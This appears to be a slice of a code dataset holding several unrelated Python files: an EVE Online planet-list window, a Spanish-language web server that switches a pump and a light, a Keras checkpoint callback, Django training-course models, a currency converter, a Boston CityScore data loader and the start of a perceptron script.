carbonui.control.menuLabel import MenuLabel\nfrom carbonui.primitives.container import Container\nfrom eve.client.script.ui.control.buttonGroup import ButtonGroup\nfrom eve.client.script.ui.control.eveScroll import Scroll\nfrom eve.client.script.ui.control.eveWindow import Window\nimport const\nimport carbonui.const as uiconst\nimport evetypes\nimport listentry\nfrom localization import GetByLabel\nfrom localization.formatters import FormatNumeric\nimport service\nimport util\n\nclass PlanetWindow(Window):\n __guid__ = 'form.PlanetWindow'\n __notifyevents__ = ['OnPlanetCommandCenterDeployedOrRemoved', 'OnPlanetPinsChanged', 'OnColonyPinCountUpdated', 'OnSessionChanged']\n default_width = 400\n default_height = 180\n default_minSize = (default_width, default_height)\n default_windowID = 'planetWindow'\n default_captionLabelPath = 'UI/ScienceAndIndustry/PlanetaryColonies'\n default_descriptionLabelPath = 'UI/ScienceAndIndustry/PlanetaryColoniesDesc'\n default_caption = GetByLabel('UI/ScienceAndIndustry/PlanetaryColonies')\n default_iconNum = 'res:/UI/Texture/WindowIcons/planets.png'\n\n def ApplyAttributes(self, attributes):\n Window.ApplyAttributes(self, attributes)\n sm.RegisterNotify(self)\n self.SetTopparentHeight(0)\n mainCont = Container(name='mainCont', parent=self.sr.main, padding=const.defaultPadding)\n buttonCont = Container(name='buttonCont', parent=mainCont, align=uiconst.TOBOTTOM, height=26)\n scrollCont = Container(name='scrollCont', parent=mainCont)\n self.planetScroll = Scroll(name='planetsScroll', parent=scrollCont)\n self.planetScroll.multiSelect = False\n self.planetScroll.sr.id = 'planetscroll'\n self.planetScroll.OnSelectionChange = self.OnPlanetScrollSelectionChange\n self.planetClickID = None\n scrolllist, headers = self.GetPlanetScrollList()\n noCommandBuiltLabel = GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/NoCommandCenterBuilt')\n self.planetScroll.Load(contentList=scrolllist, headers=headers, noContentHint=noCommandBuiltLabel)\n viewPlanetLabel = GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/ViewPlanet')\n buttons = ButtonGroup(btns=[[viewPlanetLabel, self.ViewPlanet, ()]], parent=buttonCont, idx=0)\n viewPlanetLabel = GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/ViewPlanet')\n self.viewPlanetBtn = buttons.GetBtnByLabel(viewPlanetLabel)\n self.viewPlanetBtn.Disable()\n return\n\n def GetPlanetScrollList(self):\n scrolllist = []\n rows = sm.GetService('planetSvc').GetMyPlanets()\n locationIDs = set()\n for row in rows:\n locationIDs.update([row.planetID, row.solarSystemID])\n\n cfg.evelocations.Prime(locationIDs)\n for row in rows:\n planetName = cfg.evelocations.Get(row.planetID).locationName\n planetInstallationsLabel = GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/PlanetHasInstallations', planetName=planetName, installations=row.numberOfPins)\n data = util.KeyVal(label='%s%s%s%s' % (cfg.evelocations.Get(row.solarSystemID).locationName, evetypes.GetName(row.typeID), planetName, FormatNumeric(row.numberOfPins, decimalPlaces=0, useGrouping=True)), GetMenu=self.GetPlanetEntryMenu, OnClick=self.OnPlanetEntryClick, planetID=row.planetID, typeID=row.typeID, hint=planetInstallationsLabel, solarSystemID=row.solarSystemID, OnDblClick=self.OnPlanetEntryDblClick)\n data.Set('sort_%s' % GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/PlanetName'), (cfg.evelocations.Get(row.solarSystemID).name, row.celestialIndex))\n scrolllist.append(listentry.Get('Generic', data=data))\n\n headers = [GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/SystemName'), GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/PlanetType'), GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/PlanetName'), GetByLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/Installations')]\n return (scrolllist, headers)\n\n def OnPlanetScrollSelectionChange(self, selected):\n if selected:\n self.viewPlanetBtn.Enable()\n else:\n self.viewPlanetBtn.Disable()\n\n def OnPlanetCommandCenterDeployedOrRemoved(self):\n self.LoadPlanetScroll()\n\n def OnPlanetPinsChanged(self, planetID):\n self.LoadPlanetScroll()\n\n def OnColonyPinCountUpdated(self, planetID):\n self.LoadPlanetScroll()\n\n def OnSessionChanged(self, isRemote, sess, change):\n self.LoadPlanetScroll()\n\n def LoadPlanetScroll(self):\n scrolllist, headers = self.GetPlanetScrollList()\n self.planetScroll.Load(contentList=scrolllist, headers=headers)\n\n def GetPlanetEntryMenu(self, entry):\n node = entry.sr.node\n menu = []\n menuSvc = sm.GetService('menu')\n if node.solarSystemID != session.solarsystemid:\n mapItem = sm.StartService('map').GetItem(node.solarSystemID)\n if eve.session.role & (service.ROLE_GML | service.ROLE_WORLDMOD):\n gmExtrasLabel = MenuLabel('UI/ScienceAndIndustry/ScienceAndIndustryWindow/GMWMExtrasCommand')\n menu += [\n (gmExtrasLabel,\n ('isDynamic', menuSvc.GetGMMenu,\n (\n node.planetID, None, None, None, mapItem)))]\n menu += menuSvc.MapMenu([node.solarSystemID])\n isOpen = sm.GetService('viewState').IsViewActive('planet') and sm.GetService('planetUI').planetID == node.planetID\n if isOpen:\n menu += [[MenuLabel('UI/PI/Common/ExitPlanetMode'), sm.GetService('viewState').CloseSecondaryView, ()]]\n else:\n openPlanet = lambda planetID: sm.GetService('viewState').ActivateView('planet', planetID=planetID)\n menu += [(MenuLabel('UI/PI/Common/ViewInPlanetMode'), sm.GetService('planetUI').Open, (node.planetID,))]\n menu += [(MenuLabel('UI/Commands/ShowInfo'), menuSvc.ShowInfo, (node.typeID, node.planetID, 0, None, None))]\n else:\n menu += menuSvc.CelestialMenu(node.planetID)\n return menu\n\n def ViewPlanet(self):\n if self.planetClickID is None:\n return\n else:\n sm.GetService('viewState').ActivateView('planet', planetID=self.planetClickID)\n return\n\n def OnPlanetEntryClick(self, entry):\n node = entry.sr.node\n self.planetClickID = node.planetID\n\n def OnPlanetEntryDblClick(self, entry):\n node = entry.sr.node\n sm.GetService('viewState').ActivateView('planet', planetID=node.planetID)","sub_path":"client/eve/client/script/ui/shared/planet/planetWindow.py","file_name":"planetWindow.py","file_ext":"py","file_size_in_byte":6873,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497565893","text":"#!/usr/bin/env python\n# -*- coding: UTF-8 -*-\n\n#Copyright © 2015 Alberto Hamilton Castro\n#\n#Este programa es software libre: usted puede redistribuirlo y/o modificarlo conforme a los términos\n# de la Licencia Pública General de GNU publicada por la Fundación para el Software Libre,\n# ya sea la versión 3 de esta Licencia o (a su elección) cualquier versión posterior.\n#Este programa se distribuye con el deseo de que le resulte útil, pero SIN GARANTÍAS DE NINGÚN TIPO;\n# ni siquiera con las garantías implícitas de COMERCIABILIDAD o APTITUD PARA UN PROPÓSITO DETERMINADO.\n#Para más información, consulte la Licencia Pública General de GNU.\n\n\n'''\nNos basamos en el webserver.py del proyecto gesrut\n'''\n\nimport os\nimport posixpath\nimport urllib\nimport sys\nfrom datetime import datetime, timedelta\n\n\nfrom BaseHTTPServer import HTTPServer\nfrom SimpleHTTPServer import SimpleHTTPRequestHandler\nfrom SocketServer import ThreadingMixIn\nimport threading\n\nimport cgi\nimport urlparse\nimport time\n\n\nfrom GestionaCaja import gestionaCaja\nfrom Conexiones import *\n\nimport logging\n\ndef quita_segundos(cadena):\n return \":\".join( str(cadena).split(\":\",2)[:2] )\n\n\n\nclass ManejaWeb(SimpleHTTPRequestHandler):\n '''\n Gestiona las peticones del seervidor web que presentará el estado de actividad de la máquina llamante\n '''\n\n _dia_str = [ 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado', 'Domingo' ]\n _e2n = [ 'Desconectado', 'Conectado' ]\n\n def translate_path(self, path):\n \"\"\"Modificamos para que el directorio sea relativo a la librería\n Translate a /-separated PATH to the local filename syntax.\n\n Components that mean special things to the local file system\n (e.g. drive or directory names) are ignored. (XXX They should\n probably be diagnosed.)\n\n \"\"\"\n # abandon query parameters\n path = path.split('?',1)[0]\n path = path.split('#',1)[0]\n path = posixpath.normpath(urllib.unquote(path))\n words = path.split('/')\n words = filter(None, words)\n path = self.server._path_static\n #print \"path inicial de acceso directo: \" + path\n for word in words:\n drive, word = os.path.splitdrive(word)\n head, word = os.path.split(word)\n if word in (os.curdir, os.pardir): continue\n path = os.path.join(path, word)\n #print \"path de acceso directo: \" + path\n return path\n\n def _respuesta200(self):\n self.send_response(200)\n self.send_header('Content-type', 'text/html; charset=UTF-8')\n self.send_header('Content-Language', 'es')\n self.end_headers()\n\n def _e(self,texto):\n self.wfile.write(texto + \"\\n\")\n\n def _head(self, titulo):\n '''Envía la cabecera con el título'''\n self._e(\n '''\n \n ''' + titulo + '''\n \n \n \n \n \n \n \n \\n'''\n )\n\n def _elem(self, elem, text, clase = None):\n ini = \"<\" + elem\n if clase: ini += \" class='\" + clase + \"'\"\n ini += \">\"\n self._e(ini + text + \"\")\n\n def _p(self, parrafo, clase = None):\n self._elem('p', parrafo, clase)\n\n def _span(self, texto, clase = None):\n self._elem('span', texto, clase)\n\n def _h1(self, h1, clase = None):\n self._elem('h1', h1, clase)\n\n def _td(self, td, clase = None):\n self._elem('td', td, clase)\n\n def _cierra(self):\n self._e(\"\\n\\n\")\n self.wfile.close()\n\n def _info_estado(self) :\n '''Muestra información de estado de la caja'''\n s = self\n s._respuesta200()\n s._head(\"Info máquina estado caja \"+s.server._ges_caja.nombreNodo)\n s._p(\"Info máquina estado caja \"+s.server._ges_caja.nombreNodo)\n s._p(\"Estado de las salidas:\")\n s._e(\"
\")\n s._e(\"\")\n s._e(\"
    \")\n ahora = time.time()\n #puerto 4\n s._e(\"
  • Bomba agua :\")\n if not s.server._ges_caja.estado4:\n s._e( \"Apagado\" )\n else:\n segundos = int( s.server._ges_caja.encendido4 - ahora )\n minutos = int( segundos/60 )\n segundos = segundos - minutos*60\n s._e( \"Encendido durante {}:{} minutos\".format( minutos, segundos ) )\n s._e(\"\")\n s._e(\"\")\n s._e(\"\")\n s._e(\"\")\n s._e(\"
  • \")\n\n #puerto 5\n s._e(\"
  • Luz portatil : \")\n if not s.server._ges_caja.estado5:\n s._e( \"Apagado\" )\n else:\n segundos = int( s.server._ges_caja.encendido5 - ahora )\n minutos = int( segundos/60 )\n segundos = segundos - minutos*60\n s._e( \"Encendido durante {:01d}:{:02d} minutos\".format( minutos, segundos ) )\n s._e(\"\")\n s._e(\"\")\n s._e(\"\")\n s._e(\"\")\n s._e(\"
  • \")\n\n s._e(\"
\")\n s._e(\"
\")\n\n s._cierra()\n\n def _info_eventos_maquina_dada(self, maquina):\n s = self\n s._h1(\"Información de eventos de la máquina \" + maquina)\n if not ( maquina in s.server._maq_tiempos ):\n s._p(\"Maquina {0} no manejada\".format(maquina) )\n s._p(\":-(\")\n return\n ahora = datetime.now()\n tiemposMq = s.server._maq_tiempos[maquina]\n estado, hasta = tiemposMq.estado_debido(ahora)\n s._p(\"Estado: {0} hasta {1}\"\n .format(s._e2n[estado], hasta) )\n resta = hasta - ahora\n s._p(\"Estado: {0} durante {1} (horas:minutos)\"\n .format(s._e2n[estado], quita_segundos(resta)) )\n s._p(\"Estado: {0} durante {1} minutos\"\n .format(s._e2n[estado], int(resta.total_seconds() / 60)) )\n\n #Proximos eventos\n futuros = tiemposMq.eventos_futuros(ahora)\n\n #tabla de futuros\n s._e(\"\"\"\n \n \n \n \n \n \n \"\"\")\n for instante, estado in futuros :\n s._e(\"\")\n s._td( quita_segundos( instante ) )\n s._td( quita_segundos( instante - ahora) , 'izda')\n s._td( s._e2n[estado], s._e2n[estado] )\n s._e(\"\")\n s._e(\"\\n
Tiempos Futuros
Instantedistancia
(minutos)
Estado
\")\n\n def do_GET(self):\n parsed_path = urlparse.urlparse(self.path)\n logging.debug( \"Recibido GET Th:{} Comm: {} From: {} path={} query={}\".format(\n threading.current_thread().name\n , self.command, self.client_address, parsed_path.path, parsed_path.query) )\n #print \"request_version: %s\" % self.request_version\n #print \"headers: %s\" % self.headers\n\n if parsed_path.path == \"/\" or parsed_path.path == \"/index.html\":\n self._info_estado()\n return\n if parsed_path.path == \"/cambia4.html\" :\n self.server._ges_caja.fija4( not self.server._ges_caja.estado4 )\n self._info_estado()\n return\n if parsed_path.path == \"/cambia5.html\" :\n self.server._ges_caja.fija5( not self.server._ges_caja.estado5 )\n self._info_estado()\n return\n #Si no es nada de lo anterior se atiende por el padre\n SimpleHTTPRequestHandler.do_GET(self)\n return\n\n def do_POST(self):\n parsed_path = urlparse.urlparse(self.path)\n logging.debug( \"Recibida POST Th:{} Comm: {} From: {} path={} query={}\".format(\n threading.current_thread().name\n , self.command, self.client_address, parsed_path.path, parsed_path.query) )\n #print \"request_version: %s\" % self.request_version\n #print \"headers: %s\" % self.headers\n form = cgi.FieldStorage(\n fp=self.rfile,\n headers=self.headers,\n environ={'REQUEST_METHOD':'POST',\n 'CONTENT_TYPE':self.headers['Content-Type'],\n })\n #for item in form.list:\n #print item\n logging.debug(\"Items del form: {}\".format( form.list ) )\n\n if \"s4\" in form:\n logging.debug( \"S4 vale >{}<\".format( form.getvalue(\"s4\") ) )\n if form.getvalue(\"s4\") == 'Apagar':\n self.server._ges_caja.fija4( not self.server._ges_caja.estado4 )\n if form.getvalue(\"s4\") == 'Encender 5':\n self.server._ges_caja.fija4( True, minutos = 5 )\n if form.getvalue(\"s4\") == 'Encender 15':\n self.server._ges_caja.fija4( True, minutos = 15 )\n if form.getvalue(\"s4\") == 'Encender 30':\n self.server._ges_caja.fija4( True, minutos = 30 )\n if \"s5\" in form:\n logging.debug( \"S5 vale >{}<\".format( form.getvalue(\"s5\") ) )\n if form.getvalue(\"s5\") == 'Apagar':\n self.server._ges_caja.fija5( not self.server._ges_caja.estado5 )\n if form.getvalue(\"s5\") == 'Encender 5':\n self.server._ges_caja.fija5( True, minutos = 5 )\n if form.getvalue(\"s5\") == 'Encender 15':\n self.server._ges_caja.fija5( True, minutos = 15 )\n if form.getvalue(\"s5\") == 'Encender 30':\n self.server._ges_caja.fija5( True, minutos = 30 )\n\n #Si no es nada de lo anterior se atiende por el padre\n self.do_GET()\n return\n\n\n\nclass webserver(ThreadingMixIn, HTTPServer):\n\n def __init__(self, gestCaja):\n '''\n Necesita el gestor de la caja\n '''\n self._path_static = os.path.dirname(os.path.abspath(__file__)) + '/static/'\n logging.debug( \"Static: \" + self._path_static )\n self._ges_caja = gestCaja\n HTTPServer.__init__(self, ('', 9080), ManejaWeb)\n\n\n### Programa principal\nif __name__ == '__main__':\n '''\n Aplicación de gestión de la caja desde servidor web\n '''\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--port\"\n , help=\"puerto de conexión\", default=\"/dev/ttyUSB0\" )\n parser.add_argument(\"--speed\", type=int\n , help=\"velocidad de conexion\", default=115200 )\n parser.add_argument(\"--log\"\n , help=\"nivel de log\", default=\"info\" )\n parser.add_argument(\"--logfile\"\n , help=\"fichero de log\",default=\"/tmp/webserver.log\" )\n\n args = parser.parse_args()\n\n loglevel = \"debug\" #TODO leerlo de los argumentos\n # assuming loglevel is bound to the string value obtained from the\n # command line argument. Convert to upper case to allow the user to\n # specify --log=DEBUG or --log=debug\n numeric_level = getattr(logging, args.log.upper(), None)\n if not isinstance(numeric_level, int):\n raise ValueError('Invalid log level: %s' % loglevel)\n logging.basicConfig(level=numeric_level\n , format='%(asctime)s %(levelname)s:[%(funcName)s] %(message)s'\n , filename=args.logfile\n )\n\n logging.info( \"Conectando a {} con velocidad {}\".format( args.port, args.speed ) )\n\n try:\n gc = gestionaCaja( conexion_ser(args.port,args.speed), \"NODE22\" )\n except:\n logging.critical( \"Unexpected error: {}\".format( sys.exc_info()[0] ) )\n logging.critical( \"No se pudo conectar con USB\" )\n exit(1)\n\n gc.start()\n\n\n try:\n server = webserver( gc )\n logging.info( 'started httpserver...' )\n server.serve_forever()\n except KeyboardInterrupt:\n logging.info( '^C received, shutting down server' )\n server.socket.close()\n gc.finish()\n gc.join()\n logging.info( \"Terminamos\" )\n","sub_path":"Python/WebCaja.py","file_name":"WebCaja.py","file_ext":"py","file_size_in_byte":11658,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"182210717","text":"from keras.callbacks import Callback, ModelCheckpoint\nimport numpy as np\nimport os\n\n\nclass CustomModelCheckpoint(ModelCheckpoint):\n def __init__(self, model_to_save, filepath, monitor='val_loss', verbose=0, save_best_only=False, save_weights_only=False, mode='auto', period=1):\n\n super(CustomModelCheckpoint, self).__init__(filepath, monitor, verbose, save_best_only, save_weights_only, mode, period)\n self.filepath = filepath\n self.model_to_save = model_to_save\n self.prev_file_saved = ''\n\n\n\n\n def on_epoch_end(self, epoch, logs=None):\n # for key,value in logs.items():\n # print(key)\n\n print('checkpointing model')\n\n current = logs[self.monitor]\n\n if self.monitor_op(current, self.best):\n self.best = current\n print(\"\\nSaving model to : {}\".format(self.filepath.format(epoch=epoch, monitorvalue=current)))\n fname = self.filepath.format(epoch=epoch, monitorvalue=current)\n if self.save_best_only:\n try:\n self.model_to_save.save(fname, overwrite=True)\n except:\n print('unable to save new model weights (1)')\n\n if os.path.isfile(self.prev_file_saved):\n try:\n os.remove(self.prev_file_saved)\n except:\n print('uneble to delete previously saved model weights')\n\n self.prev_file_saved = fname\n else:\n try:\n self.model_to_save.save(fname, overwrite=True)\n self.prev_file_saved = fname\n except:\n print('uneble to save new model weights (2)')\n","sub_path":"CustomModelCheckpoint.py","file_name":"CustomModelCheckpoint.py","file_ext":"py","file_size_in_byte":1731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"421603644","text":"from django.db import models\nfrom django import forms\nfrom django.core.exceptions import ValidationError\n\n\ndef MobileValid(value):\n if not (len(str(value))>=6 and len(str(value))<= 10):\n raise ValidationError(u'incorrect mobile number')\n\ntype_of_training=(\n ('Corporate','CT'),\n ('Industrial','IT'),\n ('Academy','AT'),\n )\ndegrees=(\n ('B-tech','bt'),\n ('BSc','bsc'),\n ('MSc','msc'),\n ('MTech','mtech'),\n ('Phd','phd'),\n )\nbranches=(\n ('B-tech','bt'),\n ('BSc','bsc'),\n ('MSc','msc'),\n ('MTech','mtech'),\n )\nplatforms=(\n ('web Development','WB'),\n ('web Development','WB'),\n ('web Development','WB'),\n )\nclass TrainingCourse(models.Model):\n course_logo=models.ImageField(upload_to='upload/courses/',\n blank=True,\n null=True,\n )\n course_name=models.CharField(verbose_name='Course',\n unique=True,\n max_length=50,\n blank=False,\n null=False,\n )\n course_short_description=models.CharField(verbose_name='Short description',\n max_length=50,\n )\n cource_detail=models.TextField(verbose_name='Course description',\n max_length=500,\n blank=False,\n null=False,\n )\n prerequisite=models.TextField(verbose_name='prerequisite',\n max_length=200,\n )\n hours=models.IntegerField(verbose_name='Hours',\n )\n created=models.DateField(verbose_name='Created',\n auto_now_add=True\n )\n modified=models.DateField(verbose_name='Modified',\n auto_now=True,\n auto_now_add=True,\n )\n def __unicode__(self):\n return self.course_name\n class Meta:\n verbose_name='Training Course'\n verbose_name_plural='Training Courses'\n\n\nclass CorporateTraining(models.Model):\n company_name=models.CharField(verbose_name='Company Name',\n max_length=75,\n blank=False,\n null=False,\n unique=False, \n )\n employee_name=models.CharField(verbose_name='employee name',\n max_length=75,\n blank=False,\n null=False, \n )\n personal_email=models.EmailField(verbose_name='Personal email',\n )\n offical_email=models.EmailField(verbose_name='Offical email',\n )\n mobile=models.IntegerField(verbose_name='Mobile',\n validators=[MobileValid]\n )\n phone=models.IntegerField(verbose_name='phone',\n )\n message=models.TextField(verbose_name='Message',\n max_length=500,\n )\n\n def __unicode__(self):\n return self.employee_name\n\n class Meta:\n verbose_name='Coporrate Training'\n verbose_name_plural='Corporate Trainings'\nclass IndustrialTraining(models.Model):\n student_name=models.CharField(verbose_name='name',\n max_length=75,\n )\n email=models.EmailField(verbose_name='email',\n )\n mobile=models.IntegerField(verbose_name='mobile'\n )\n collage=models.CharField(verbose_name='collage',\n max_length=75,\n )\n degree=models.CharField(verbose_name='Degree',\n choices=degrees,\n max_length=20,\n )\n intership_period=models.IntegerField(verbose_name='Intership Period',\n )\n platform=models.CharField(verbose_name='platform',\n choices=platforms,\n max_length=50,\n )\n message=models.TextField(verbose_name='Messgae',\n max_length=200,\n )\n def __unicode__(self):\n return self.student_name\n class Meta:\n verbose_name='Industrial Training'\n verbose_name_plural='Industrial Trainings'\n\n\n\nclass AcademyTraining(models.Model):\n student_name=models.CharField(verbose_name='name',\n max_length=75,\n )\n email=models.EmailField(verbose_name='email',\n )\n degree=models.CharField(verbose_name='Degree',\n choices=degrees,\n max_length=10,\n )\n branch=models.CharField(verbose_name='Branch',\n choices=branches,\n max_length=10,\n )\n mobile=models.IntegerField(verbose_name='mobile',\n )\n\n collage_name=models.CharField(verbose_name='Collage name',\n max_length=75,\n )\n collage_website=models.URLField(verbose_name='website',\n max_length=75,\n )\n message=models.TextField(verbose_name='messgae',\n max_length=200,\n )\n def __unicode__(self):\n return self.student_name\n class Meta:\n verbose_name='Academy Training'\n verbose_name_plural='Academy Trainings'\nclass TrainingSuccess(models.Model):\n training_id=models.ForeignKey('TrainingCourse',\n related_name='success_stories',\n )\n customer_logo=models.ImageField(verbose_name='Image',\n upload_to='upload/training_success/',\n default='upload/training_success/ghaziabad100x100.jpg',\n )\n customer_name=models.CharField(verbose_name='Customer name',\n max_length=70\n )\n customer_email=models.EmailField(verbose_name='Email',\n )\n success_stories=models.TextField(verbose_name=\"Success Story\",\n max_length=200,\n )\n def __unicode__(self):\n return u'%s' % self.training_id.course_name\n class Meta:\n verbose_name='Success Story'\n verbose_name_plural='Success Stories'\n\nclass CourseOutline(models.Model):\n training_id=models.ForeignKey('TrainingCourse',verbose_name='Training id',\n related_name='Course_outlines',\n )\n chapter=models.IntegerField(verbose_name='Chapter')\n topic=models.CharField(verbose_name='Topics',\n max_length=75,\n )\n hours=models.IntegerField(verbose_name='hours',\n )\n basics=models.TextField(verbose_name='Basics',\n max_length=200,\n )\n intermediate=models.TextField(verbose_name='intermediate' ,\n max_length=200,\n )\n Advance=models.TextField(verbose_name='Advance',\n max_length=200,\n )\n description=models.TextField(verbose_name='Description',\n max_length=200,\n )\n def __unicode__(self):\n return self.training_id.course_name\n class Meta:\n verbose_name='Course Outline'\n verbose_name_plural='Course Outlines'\n\nclass MentorDetail(models.Model):\n training_id=models.ManyToManyField('TrainingCourse',verbose_name='Training id',\n related_name='mentors',\n )\n name=models.CharField(verbose_name='mentor name',\n max_length=75,\n )\n mentor_images=models.ImageField(upload_to='upload/mentor_images/',\n null=True,\n blank=True,\n )\n email=models.EmailField(verbose_name='Email',\n unique=True,\n )\n phone=models.IntegerField(verbose_name='phone',\n validators=[MobileValid],\n )\n experience=models.IntegerField(verbose_name='Exprience',\n )\n linked_in=models.URLField(verbose_name='Linkedin ',\n )\n description=models.TextField(verbose_name='Description',\n max_length=200,\n )\n def __unicode__(self):\n return self.name\n class Meta:\n verbose_name='Mentor'\n verbose_name_plural='Mentors'\nclass WhyThisTraining(models.Model):\n training_id=models.ForeignKey('TrainingCourse',verbose_name='Training id',\n related_name='whythistraining',\n )\n why_this=models.TextField(verbose_name='why',\n max_length=60,\n )\n def __unicode__(self):\n return self.training_id.course_name\n class Meta:\n verbose_name='why'\n verbose_name_plural='why this Training'\n \n\nclass CorporateTrainingForm(forms.ModelForm):\n class Meta:\n model=CorporateTraining\n widgets ={ 'personal_email':forms.TextInput(attrs={ }) }\n\nclass TrainingCourseFrom(forms.ModelForm):\n class Meta:\n model=TrainingCourse\n\n\nclass IndustrialTrainingForm(forms.ModelForm):\n class Meta:\n model=IndustrialTraining\n\nclass AcademyTrainingForm(forms.ModelForm):\n class Meta:\n model=AcademyTraining\n","sub_path":"trainingapp/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":8427,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"305983311","text":"amount = float(input(\"Enter the amount(PLN): \"))\r\n\r\nEUR = 4.2900 #Euro\r\nUSD = 3.8706 #U.S. Dollar\r\nCHF = 3.9126 #Swiss franc\r\nRUB = 0.0604 #Russian ruble\r\nCZK = 0.1679 #The Czech crown\r\nUAH = 0.1617 #Ukrainian hryvnia\r\n\r\n# Currency selection\r\ncurrency = input(\"Choose your currency EUR, USD, CHF, RUB, CZK, UAH: \")\r\n\r\n# Calculation of the Euro amount\r\nif currency == \"EUR\":\r\n score = amount / 4.2900\r\n print(amount,\"PLN =\", round(score, 2),\"EUR\")\r\n\r\n# Calculation of the Dollar amount \r\nelif currency == \"USD\":\r\n score = amount / 3.8706\r\n print(amount, \"PLN =\", round(score, 2), \"USD\")\r\n\r\n# Calculation of the Swiss franc amount\r\nelif currency == \"CHF\":\r\n score = amount / 3.9126\r\n print(amount, \"PLN =\", round(score, 2), \"CHF\")\r\n\r\n# Calculation of the Russian rublec amount\r\nelif currency == \"RUB\":\r\n score = amount / 0.0604\r\n print(amount, \"PLN =\", round(score, 2), \"RUB\")\r\n \r\n# Calculation of the Czech crown amount \r\nelif currency == \"CZK\":\r\n score = amount / 0.1679\r\n print(amount, \"PLN =\", round(score, 2), \"CZK\")\r\n\r\n# Calculation of the Ukrainian hryvnia amount\r\nelif currency == \"UAH\":\r\n score = amount / 0.1617\r\n print(amount, \"PLN =\", round(score, 2), \"UAH\")\r\n\r\n","sub_path":"Currencyconverter.py","file_name":"Currencyconverter.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"523994870","text":"import urllib.request\nimport json\nimport dml\nimport prov.model\nimport datetime\nimport uuid\n\nclass cityScore(dml.Algorithm):\n contributor = 'shizhan0_xt'\n reads = []\n writes = ['shizhan0_xt.cityScore']\n\n @staticmethod\n def execute(trial = False):\n startTime = datetime.datetime.now()\n\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('shizhan0_xt','shizhan0_xt')\n\n url = 'https://data.boston.gov/export/edc/24d/edc24d12-4e0d-43dd-a61d-687fc65e2d1b.json'\n response = urllib.request.urlopen(url).read().decode(\"utf-8\")\n r = json.loads(response)\n s = json.dumps(r, sort_keys=True, indent=2)\n repo.dropCollection(\"cityScore\")\n repo.createCollection(\"cityScore\")\n repo['shizhan0_xt.cityScore'].insert_many(r)\n\n repo.logout()\n endTime = datetime.datetime.now()\n return {\"start\":startTime, \"end\":endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None):\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('shizhan0_xt', 'shizhan0_xt')\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/shizhan0_xt/') # The scripts are in # format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/shizhan0_xt/') # The data sets are in # format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n doc.add_namespace('bdp', 'https://data.boston.gov/export/edc/')\n\n this_script = doc.agent('alg:#shizhan0_xt#cityScore', {prov.model.PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'})\n\n resource = doc.entity('bdp:24d', {'prov:label': 'cityScore', prov.model.PROV_TYPE: 'ont:DataResource', 'ont:Extension': 'json'})\n get_cityScore = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)\n doc.wasAssociatedWith(get_cityScore, this_script)\n doc.usage(get_cityScore, resource, startTime, None,\n {prov.model.PROV_TYPE: 'ont:Retrieval'})\n\n cityScore = doc.entity('dat:shizhan0_xt#cityScore', {prov.model.PROV_LABEL:'cityScore', prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(cityScore, this_script)\n doc.wasGeneratedBy(cityScore, get_cityScore, endTime)\n doc.wasDerivedFrom(cityScore, resource, get_cityScore, get_cityScore, get_cityScore)\n\n repo.logout()\n\n return doc\n\n\n# cityScore.execute()\n# doc = cityScore.provenance()\n# print(doc.get_provn())\n# print(json.dumps(json.loads(doc.serialize()), indent=4))","sub_path":"shizhan0_xt/cityScore.py","file_name":"cityScore.py","file_ext":"py","file_size_in_byte":2801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"523341268","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 2 14:11:45 2018\n\n@author: VidoValianto\n\"\"\"\nimport pandas as pd\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nbias= 0.7\nalpha= 0.1\nmdteta = np.zeros(shape=(4,1))\nmtetab = np.zeros(shape=(4,1))\nmtotalerror= np.zeros(shape=(100,1))\nmtotalerror2= np.zeros(shape=(100,1))\nmtotalfullerror= np.zeros(shape=(60,1))\nmtotalfullerror2= np.zeros(shape=(60,1))\nmtotalfullerrortrain= np.zeros(shape=(60,1))\nmtotalfullerrorvalid= np.zeros(shape=(60,1))\n\nx1 = np.empty(150)\nx2 = np.empty(150)\nx3 = np.empty(150)\nx4 = np.empty(150)\nkelas = np.empty(150, dtype='S30')\n\ndataframe = pd.read_csv(\"./data.csv\")\ndataframe = dataframe['teta'].str.split(',', expand=True)\n\nfakta1 = np.empty(150, dtype='int32')\nfakta2 = np.empty(150, dtype='int32')\nfakta3 = np.empty(150, dtype='int32')\n\nfakta1[0:50] = 1\nfakta1[50:150] = 0\nfakta2[0:50] = 0\nfakta2[50:100] = 1\nfakta2[100:150] = 